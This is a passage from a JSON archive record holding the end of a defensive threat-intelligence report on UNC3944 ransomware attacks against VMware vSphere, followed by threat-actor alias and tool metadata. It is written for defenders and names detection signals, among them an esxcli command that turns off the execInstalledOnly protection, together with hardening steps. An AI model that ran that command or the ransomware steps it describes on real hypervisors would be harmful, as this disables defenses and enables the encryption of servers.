time-delayed ransomware,\r\nincluding the key and\r\nexclusion list, is logged. The\r\nnohup command ensures it\r\nruns after they log out.\r\nClean Up \u0026\r\nExit\r\n/var/log/shell.log\r\nls nohup.out\r\nexit\r\nThe threat actors final\r\ncommands and session\r\ntermination are recorded\r\nbefore they exit, leaving the\r\npayload to run.\r\nTable 5: ESXi ransomware execution\r\nWhy it's effective: Root access on the ESXi shell is the highest level privilege in a virtual environment.\r\nBy encrypting at the hypervisor level, they bypass all in-guest security and compromise servers with a\r\nsingle action.\r\nKey detection signals:\r\n[NETWORK] Monitor Network Flow Logs for large file transfers to and from ESXi hosts over\r\nSSH/SCP.\r\n[BEHAVIOR] A SIEM alert for a high volume of VM power-off commands originating from a\r\nsingle ESXi host is a high-fidelity indicator of an ongoing attack.\r\n[LOGS] Monitor ESXi host logs for the execution of esxcli system settings kernel set -s\r\nexecInstalledOnly -v FALSE (a threat actor attempting to disable a key defense) and mass\r\nvmsvc/power.off commands. Since this setting only applies after a reboot, correlate this alert with\r\na subsequent host reboot within a short time window.\r\nCritical hardening and mitigation:\r\n[CRITICAL] Enable vSphere lockdown mode: This is a primary prevention for this phase as it\r\nblocks the interactive SSH access needed to push and execute the payload.\r\n[CRITICAL] Enforce execInstalledOnly execution policy: This ESXi kernel setting is the\r\ndefinitive technical prevention. It blocks any unsigned binary from running, rendering the threat\r\nactor's custom ransomware execution attempt to failure. Enable the hardware based TPM 2.0 chip\r\nwith Secure Boot to lock this setting so it cannot be disabled.\r\nThe Three-Pillar Defense: A Fortified Strategy\r\nPillar 1: Proactive Hardening (Your Most Reliable Defense)\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 17 of 20\n\nArchitect for centralized access: Do not join ESXi hosts directly to Active Directory. Manage all host\r\naccess exclusively through vCenter roles and permissions. This drastically reduces the attack surface.\r\nEnable vSphere lockdown mode: This is a critical control that restricts ESXi management, blocking\r\ndirect shell access via SSH and preventing changes from being made outside of vCenter.\r\nEnforce execInstalledOnly: This powerful ESXi kernel setting prevents the execution of any binary that\r\nwasn't installed as part of a signed, packaged vSphere Installation Bundle (VIB). It would have directly\r\nblocked the threat actor's custom ransomware from running. \r\nUse vSphere VM encryption: Encrypt your Tier 0 virtualized assets (DCs, PKI, etc.). This is the definitive\r\ntechnical block for the offline disk-swap attack, rendering any stolen disk files unreadable.\r\nPractice strict infrastructure hygiene: Don't just power off old VMs. Implement a strict\r\ndecommissioning process that deletes their disks from the datastore or moves them to segregated archival\r\nstorage to eliminate potential \"staging\" machines.\r\nPosture management: It is vital to implement continuous vSphere posture Management (CPM) because\r\nhardening is not a one-time task, but a security state that must be constantly maintained against\r\n\"configuration drift.\" The UNC3944 playbook fundamentally relies on creating these policy deviations—\r\nsuch as enabling SSH or altering firewall rules. This can be achieved either through dedicated Hybrid\r\nCloud Security Posture Management (CSPM) tools, such as the vSphere Aria Operations Compliance\r\nPack, Wiz, or by developing custom in-house scripts that leverage the vSphere API via\r\nPowerShell/PowerCLI to regularly audit your environment. \r\nHarden the help desk: For privileged accounts, mandate that MFA enrollment or password resets require\r\nan in-person, multipart, or high-assurance multi-factor verification process.\r\nPillar 2: Identity and Architectural Integrity (Breaking the Attack Chain)\r\nEnforce phishing-resistant MFA everywhere: This must be applied to VPN, vCenter logins, and all\r\nprivileged AD accounts. Use hardened PAWs with exclusive, firewalled access to the virtual center.\r\nIsolate critical identity infrastructure: Run your Tier 0 assets (Domain Controllers, PAM, Veeam etc) in\r\na dedicated, highly-secured \"identity cluster\" with its own stringent access policies, segregated from\r\ngeneral-purpose workloads.\r\nAvoid authentication loops: A critical architectural flaw is hosting identity providers (AD) recovery\r\nsystems (Veeam) or privileged access management (PAM) on the very virtualization platform they secure\r\nand authenticate. A compromise of the underlying ESXi hosts results in a correlated failure of both the\r\ndependent services and the means to restore them, a scenario that significantly complicates or prevents\r\ndisaster recovery.\r\nConsider alternate identity providers (IdPs): To break the \"AD-to-everything\" chain, consider using a\r\nseparate, cloud-native IdP like Azure Entra ID for authenticating to infrastructure.\r\nPillar 3: Advanced Detection and Recovery (Your Safety Net)\r\nBuild detections after hardening: The most effective alerts are those that detect the attempted\r\nmanipulation of the hardening controls you've put in place. Harden first, then build your detection logic.\r\nCentralize and monitor key logs: Forward all logs from AD, vCenter, ESXi, networking infrastructure,\r\nfirewalls, and backups to a SIEM. Correlate logs from these disparate sources to create high-fidelity\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 18 of 20\n\ndetection scenarios that can spot the threat actors' methodical movements.\r\nFocus on high-fidelity alerts: Prioritize alerting on events in phases 1-3. Detecting the enablement of SSH\r\non a host, a VCSA takeover, or membership changes to your \"Veeam Admins\" group will enable you to act\r\nbefore data exfiltration and ransomware deployment.\r\nArchitect for survival: Assume the worst-case scenario. Your immutable and air-gapped backups are your\r\nlast line of defense. They must be isolated from your production AD and inaccessible to a compromised\r\nadministrator. Test your recovery plan against this specific threat model to ensure it works.\r\nConclusion: The Defender’s Mandate — Harden and Alert\r\nUNC3944's playbook requires a fundamental shift in defensive strategy, moving from EDR-based threat hunting\r\nto proactive, infrastructure-centric defense. This threat differs from traditional Windows ransomware in two ways:\r\nspeed and stealth. While traditional actors may have a dwell time of days or even weeks for reconnaissance,\r\nUNC3944 operates with extreme velocity; the entire attack chain from initial access to data exfiltration and final\r\nransomware deployment can occur in mere hours. This combination of speed and minimal forensic evidence\r\nmakes it essential to not just identify but to immediately intercept suspicious behavioral patterns before they can\r\nescalate into a full-blown compromise.\r\nThis living-off-the-land (LotL) approach is so effective because the Virtual Center appliance and ESXi hypervisor\r\ncannot run traditional EDR agents, leaving a significant visibility gap at the virtualization layer. Consequently,\r\nsophisticated detection engineering within your SIEM becomes the primary and most essential method for active\r\ndefense.\r\nThis reality presents the most vital key for defenders: the ability to detect and act on early alerting is paramount.\r\nAn alert generated during the final ransomware execution is merely a notification of a successful takeover. In\r\ncontrast, an alert that triggers when the threat actor first compromises a help desk account or accesses Virtual\r\nCenter from an unusual location is an actionable starting point for an investigation—a crucial window of\r\nopportunity to evict the threat before they achieve complete administrative control.\r\nA resilient defense, therefore, cannot rely on sifting through a sea of broad, noisy alerts. This reactive approach is\r\nparticularly ineffective when, as is often the case, many vSphere environments are built upon a foundation of\r\ninsecure defaults—such as overly permissive roles or enabled SSH—and suffer from a lack of centralized logging\r\nvisibility from ESXi hosts and vCenter. Without the proper context from these systems, a security team is left\r\nblind to the threat actors' methodical, LotL movements until it is far too late.\r\nInstead, the strategy must be twofold. First, it requires proactive, defense-in-depth technical hardening to\r\nsystematically correct these foundational gaps and reduce the attack surface. Second, this must be complemented\r\nby a deep analysis of the threat actor's tactics, techniques, and procedures (TTPs) to build the high-fidelity\r\ncorrelation rules and logging infrastructure needed to spot their earliest movements. This means moving beyond\r\nsingle-event alerts and creating rules that connect the dots between a help desk ticket, a password reset in Active\r\nDirectory, and a subsequent anomalous login to vCenter.\r\nThese two strategies are symbiotic, creating a system where defense enables detection. Robust hardening is not\r\njust a barrier, it also creates friction for the threat actor, forcing them to attempt actions that are inherently\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 19 of 20\n\nsuspicious. For example, when Lockdown Mode is enabled (hardening), a threat actor's attempt to open an SSH\r\nsession to an ESXi host will fail, but it will also generate a specific, high-priority event. The control itself creates\r\nthe clean signal that a properly configured SIEM is built to catch.\r\nFor any organization with a critical dependency on vSphere, this is not a theoretical exercise. What makes this\r\nthreat exceptionally dangerous is its ability to render entire security strategies irrelevant. It circumvents traditional\r\ntiering models by attacking the underlying hypervisor that hosts all of your virtualized Tier 0 assets—including\r\nDomain Controllers, Certificate Authorities, and PAM solutions—rendering the logical separation of tiering\r\ncompletely ineffective. Simultaneously, By manipulating virtual disks while the VMs are offline, it subverts in-guest security solutions—such as EDR, antivirus (AV), DLP, and host-based intrusion prevention systems (HIPS)\r\n—as their agents cannot monitor for direct ESXi level changes.\r\nThe threat is immediate, and the attack chain is proven. Mandiant has observed that the successful hypervisor-level tactics leveraged by groups like UNC3944 are no longer exclusive; these same TTPs are now being actively\r\nadopted by other ransomware groups. This proliferation turns a specialized threat into a mainstream attack vector,\r\nmaking the time to act now.\r\nPosted in\r\nThreat Intelligence\r\nSource: https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 20 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944"
	],
	"report_names": [
		"defending-vsphere-from-unc3944"
	],
	"threat_actors": [
		{
			"id": "9ddc7baf-2ea7-4294-af2c-5fce1021e8e8",
			"created_at": "2023-06-23T02:04:34.386651Z",
			"updated_at": "2026-04-10T02:00:04.772256Z",
			"deleted_at": null,
			"main_name": "Muddled Libra",
			"aliases": [
				"0ktapus",
				"Scatter Swine",
				"Scattered Spider"
			],
			"source_name": "ETDA:Muddled Libra",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "7da6012f-680b-48fb-80c4-1b8cf82efb9c",
			"created_at": "2023-11-01T02:01:06.643737Z",
			"updated_at": "2026-04-10T02:00:05.340198Z",
			"deleted_at": null,
			"main_name": "Scattered Spider",
			"aliases": [
				"Scattered Spider",
				"Roasted 0ktapus",
				"Octo Tempest",
				"Storm-0875",
				"UNC3944"
			],
			"source_name": "MITRE:Scattered Spider",
			"tools": [
				"WarzoneRAT",
				"Rclone",
				"LaZagne",
				"Mimikatz",
				"Raccoon Stealer",
				"ngrok",
				"BlackCat",
				"ConnectWise"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "c3b908de-3dd1-4e5d-ba24-5af8217371f0",
			"created_at": "2023-10-03T02:00:08.510742Z",
			"updated_at": "2026-04-10T02:00:03.374705Z",
			"deleted_at": null,
			"main_name": "Scattered Spider",
			"aliases": [
				"UNC3944",
				"Scattered Swine",
				"Octo Tempest",
				"DEV-0971",
				"Starfraud",
				"Muddled Libra",
				"Oktapus",
				"Scatter Swine",
				"0ktapus",
				"Storm-0971"
			],
			"source_name": "MISPGALAXY:Scattered Spider",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "d093e8d9-b093-47b8-a988-2a5cbf3ccec9",
			"created_at": "2023-10-14T02:03:13.99057Z",
			"updated_at": "2026-04-10T02:00:04.531987Z",
			"deleted_at": null,
			"main_name": "Scattered Spider",
			"aliases": [
				"0ktapus",
				"LUCR-3",
				"Muddled Libra",
				"Octo Tempest",
				"Scatter Swine",
				"Scattered Spider",
				"Star Fraud",
				"Storm-0875",
				"UNC3944"
			],
			"source_name": "ETDA:Scattered Spider",
			"tools": [
				"ADRecon",
				"AnyDesk",
				"ConnectWise",
				"DCSync",
				"FiveTran",
				"FleetDeck",
				"Govmomi",
				"Hekatomb",
				"Impacket",
				"LOLBAS",
				"LOLBins",
				"LaZagne",
				"Living off the Land",
				"Lumma Stealer",
				"LummaC2",
				"Mimikatz",
				"Ngrok",
				"PingCastle",
				"ProcDump",
				"PsExec",
				"Pulseway",
				"Pure Storage FlashArray",
				"Pure Storage FlashArray PowerShell SDK",
				"RedLine Stealer",
				"Rsocx",
				"RustDesk",
				"ScreenConnect",
				"SharpHound",
				"Socat",
				"Spidey Bot",
				"Splashtop",
				"Stealc",
				"TacticalRMM",
				"Tailscale",
				"TightVNC",
				"VIDAR",
				"Vidar Stealer",
				"WinRAR",
				"WsTunnel",
				"gosecretsdump"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "e424a2db-0f5a-4ee5-96d2-5ab16f1f3824",
			"created_at": "2024-06-19T02:03:08.062614Z",
			"updated_at": "2026-04-10T02:00:03.655475Z",
			"deleted_at": null,
			"main_name": "GOLD HARVEST",
			"aliases": [
				"Octo Tempest ",
				"Roasted 0ktapus ",
				"Scatter Swine ",
				"Scattered Spider ",
				"UNC3944 "
			],
			"source_name": "Secureworks:GOLD HARVEST",
			"tools": [
				"AnyDesk",
				"ConnectWise Control",
				"Logmein"
			],
			"source_id": "Secureworks",
			"reports": null
		}
	],
	"ts_created_at": 1775434927,
	"ts_updated_at": 1775791909,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/39abb567e6ea3fddfdd7909a68b43de2fcd301d6.pdf",
		"text": "https://archive.orkl.eu/39abb567e6ea3fddfdd7909a68b43de2fcd301d6.txt",
		"img": "https://archive.orkl.eu/39abb567e6ea3fddfdd7909a68b43de2fcd301d6.jpg"
	}
}